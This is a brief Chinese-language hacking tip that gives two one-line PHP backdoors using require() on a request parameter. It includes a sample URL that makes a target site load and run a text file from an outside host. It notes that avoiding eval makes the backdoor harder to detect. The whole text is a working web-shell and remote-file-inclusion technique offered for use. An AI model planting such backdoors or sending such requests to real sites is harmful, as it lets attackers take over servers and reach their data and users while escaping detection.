<?require($_REQUEST['a']);?>

或是
<?require($a);?>

利用方法

http://www.target.com/file.php?a=http://www.tantao.cn:8080/b.txt

这样不使用eval了后门又隐蔽了些.